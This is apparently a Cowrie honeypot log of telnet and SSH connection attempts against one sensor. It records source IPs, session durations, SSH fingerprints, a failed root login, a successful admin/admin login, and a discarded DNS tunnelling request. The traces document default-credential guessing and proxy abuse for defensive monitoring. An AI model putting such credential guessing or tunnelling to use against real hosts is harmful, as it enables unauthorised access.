{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":35584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad0c2d3d257","protocol":"telnet","message":"New connection: 212.55.149.117:35584 (10.17.0.5:23) [session: 8ad0c2d3d257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:43.677880Z"}
{"eventid":"cowrie.session.closed","duration":32.430492639541626,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:50.412133Z","src_ip":"128.199.8.54","session":"295e89ae43fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.561463832855225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:41:53.267103Z","src_ip":"69.6.249.0","session":"387aace30d49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84384894371033,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:00.693360Z","src_ip":"128.199.8.54","session":"d1510cc79fa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6313,"dst_ip":"10.17.0.5","dst_port":23,"session":"528923740b05","protocol":"telnet","message":"New connection: 212.55.149.117:6313 (10.17.0.5:23) [session: 528923740b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:05.887920Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36712,"dst_ip":"159.203.135.109","dst_port":23,"session":"45856fc5d001","protocol":"telnet","message":"New connection: 128.199.8.54:36712 (159.203.135.109:23) [session: 45856fc5d001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:09.923434Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38724,"dst_ip":"159.203.135.109","dst_port":23,"session":"4458190f564d","protocol":"telnet","message":"New connection: 128.199.8.54:38724 (159.203.135.109:23) [session: 4458190f564d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:10.932363Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33668,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe60d6ed7332","protocol":"telnet","message":"New connection: 128.199.8.54:33668 (159.203.135.109:23) [session: fe60d6ed7332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:22.775530Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45538,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a9ea46a9b3","protocol":"telnet","message":"New connection: 128.199.8.54:45538 (159.203.135.109:23) [session: 76a9ea46a9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:28.748749Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9518,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ee0ef335ccc","protocol":"telnet","message":"New connection: 212.55.149.117:9518 (10.17.0.5:23) [session: 1ee0ef335ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:31.508053Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33712,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f03868353c1","protocol":"telnet","message":"New connection: 128.199.8.54:33712 (159.203.135.109:23) [session: 8f03868353c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:36.964528Z"}
{"eventid":"cowrie.session.closed","duration":59.8487446308136,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:43.526517Z","src_ip":"212.55.149.117","session":"8ad0c2d3d257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76180911064148,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:44.685160Z","src_ip":"128.199.8.54","session":"45856fc5d001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.47831726074219,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:45.410561Z","src_ip":"128.199.8.54","session":"4458190f564d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":50386,"dst_ip":"10.17.0.5","dst_port":23,"session":"5755a7ce585e","protocol":"telnet","message":"New connection: 208.109.212.211:50386 (10.17.0.5:23) [session: 5755a7ce585e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:47.791682Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43346,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b3834252556","protocol":"telnet","message":"New connection: 128.199.8.54:43346 (159.203.135.109:23) [session: 4b3834252556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:56.999530Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46696,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c6ab354ab55","protocol":"telnet","message":"New connection: 128.199.8.54:46696 (159.203.135.109:23) [session: 2c6ab354ab55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:57.738869Z"}
{"eventid":"cowrie.session.closed","duration":35.581077337265015,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:42:58.356468Z","src_ip":"128.199.8.54","session":"fe60d6ed7332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.91356563568115,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:02.662191Z","src_ip":"128.199.8.54","session":"76a9ea46a9b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.93597602844238,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:06.823737Z","src_ip":"212.55.149.117","session":"528923740b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42940,"dst_ip":"159.203.135.109","dst_port":23,"session":"21a672e1e47e","protocol":"telnet","message":"New connection: 128.199.8.54:42940 (159.203.135.109:23) [session: 21a672e1e47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:09.685370Z"}
{"eventid":"cowrie.session.closed","duration":34.53636598587036,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:11.500796Z","src_ip":"128.199.8.54","session":"8f03868353c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60714,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a2e29643cfb","protocol":"telnet","message":"New connection: 128.199.8.54:60714 (159.203.135.109:23) [session: 9a2e29643cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:17.894687Z"}
{"eventid":"cowrie.session.closed","duration":30.316075563430786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:18.107614Z","src_ip":"208.109.212.211","session":"5755a7ce585e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46022,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee7f6a8169e","protocol":"telnet","message":"New connection: 128.199.8.54:46022 (159.203.135.109:23) [session: 7ee7f6a8169e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:24.363665Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48186,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ab10cfc1c49","protocol":"telnet","message":"New connection: 128.199.8.54:48186 (159.203.135.109:23) [session: 1ab10cfc1c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:27.527158Z"}
{"eventid":"cowrie.session.closed","duration":33.03091907501221,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:30.030318Z","src_ip":"128.199.8.54","session":"4b3834252556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10935950279236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:31.848137Z","src_ip":"128.199.8.54","session":"2c6ab354ab55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36924,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaf47391b697","protocol":"telnet","message":"New connection: 128.199.8.54:36924 (159.203.135.109:23) [session: aaf47391b697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:34.765650Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49520,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0988d5a65d8","protocol":"telnet","message":"New connection: 128.199.8.54:49520 (159.203.135.109:23) [session: d0988d5a65d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:39.693372Z"}
{"eventid":"cowrie.session.closed","duration":34.24006366729736,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:43.925310Z","src_ip":"128.199.8.54","session":"21a672e1e47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35690,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34049d8b5a5","protocol":"telnet","message":"New connection: 128.199.8.54:35690 (159.203.135.109:23) [session: a34049d8b5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:46.938427Z"}
{"eventid":"cowrie.session.closed","duration":34.986006021499634,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:52.880593Z","src_ip":"128.199.8.54","session":"9a2e29643cfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44250178337097,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:59.806046Z","src_ip":"128.199.8.54","session":"7ee7f6a8169e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45349359512329,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:43:59.980543Z","src_ip":"128.199.8.54","session":"1ab10cfc1c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34674,"dst_ip":"159.203.135.109","dst_port":23,"session":"46013a3c6118","protocol":"telnet","message":"New connection: 128.199.8.54:34674 (159.203.135.109:23) [session: 46013a3c6118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:00.582624Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56564,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a8db34cf5ed","protocol":"telnet","message":"New connection: 128.199.8.54:56564 (159.203.135.109:23) [session: 0a8db34cf5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:00.620128Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38830,"dst_ip":"159.203.135.109","dst_port":23,"session":"cea895bc4af8","protocol":"telnet","message":"New connection: 128.199.8.54:38830 (159.203.135.109:23) [session: cea895bc4af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:03.545400Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52648,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc8e8bff94d3","protocol":"telnet","message":"New connection: 128.199.8.54:52648 (159.203.135.109:23) [session: dc8e8bff94d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:08.952632Z"}
{"eventid":"cowrie.session.closed","duration":34.8349289894104,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:09.600480Z","src_ip":"128.199.8.54","session":"aaf47391b697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33802,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7cf3e33fdd","protocol":"telnet","message":"New connection: 69.6.249.0:33802 (159.203.135.109:23) [session: db7cf3e33fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:13.762481Z"}
{"eventid":"cowrie.session.closed","duration":34.6772837638855,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:14.370533Z","src_ip":"128.199.8.54","session":"d0988d5a65d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34966,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cfd1524710d","protocol":"telnet","message":"New connection: 128.199.8.54:34966 (159.203.135.109:23) [session: 9cfd1524710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:14.942840Z"}
{"eventid":"cowrie.session.closed","duration":34.121376276016235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:21.059657Z","src_ip":"128.199.8.54","session":"a34049d8b5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36032,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5645ae9290d","protocol":"ssh","message":"New connection: 103.15.226.202:36032 (10.17.0.5:22) [session: e5645ae9290d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:21.897112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:21.906080Z","src_ip":"103.15.226.202","session":"e5645ae9290d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:22.155690Z","src_ip":"103.15.226.202","session":"e5645ae9290d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123..","message":"login attempt [root/abc123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:22.913748Z","src_ip":"103.15.226.202","session":"e5645ae9290d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55290,"dst_ip":"159.203.135.109","dst_port":23,"session":"c467943b4c10","protocol":"telnet","message":"New connection: 128.199.8.54:55290 (159.203.135.109:23) [session: c467943b4c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:23.499141Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:24.181077Z","src_ip":"103.15.226.202","session":"e5645ae9290d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59490,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f84955fdf63","protocol":"telnet","message":"New connection: 128.199.8.54:59490 (159.203.135.109:23) [session: 7f84955fdf63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:25.500939Z"}
{"eventid":"cowrie.session.closed","duration":119.08495306968689,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:30.592785Z","src_ip":"212.55.149.117","session":"1ee0ef335ccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.8646137714386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:33.484621Z","src_ip":"128.199.8.54","session":"0a8db34cf5ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04850959777832,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:35.593778Z","src_ip":"128.199.8.54","session":"cea895bc4af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.92588543891907,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:36.508390Z","src_ip":"128.199.8.54","session":"46013a3c6118","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52426,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c0bc5b9a4d3","protocol":"ssh","message":"New connection: 80.94.92.186:52426 (159.203.135.109:22) [session: 2c0bc5b9a4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:40.072768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:40.259645Z","src_ip":"80.94.92.186","session":"2c0bc5b9a4d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:40.263406Z","src_ip":"80.94.92.186","session":"2c0bc5b9a4d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37612,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ebfa2d0125","protocol":"ssh","message":"New connection: 87.251.64.176:37612 (10.17.0.5:22) [session: 58ebfa2d0125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:40.414331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:40.418808Z","src_ip":"87.251.64.176","session":"58ebfa2d0125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:40.515786Z","src_ip":"87.251.64.176","session":"58ebfa2d0125","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:40.805767Z","src_ip":"87.251.64.176","session":"58ebfa2d0125","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:40.908779Z","session":"58ebfa2d0125","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:41.008817Z","src_ip":"87.251.64.176","session":"58ebfa2d0125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:44:41.246068Z","src_ip":"87.251.64.176","session":"58ebfa2d0125","protocol":"ssh"}
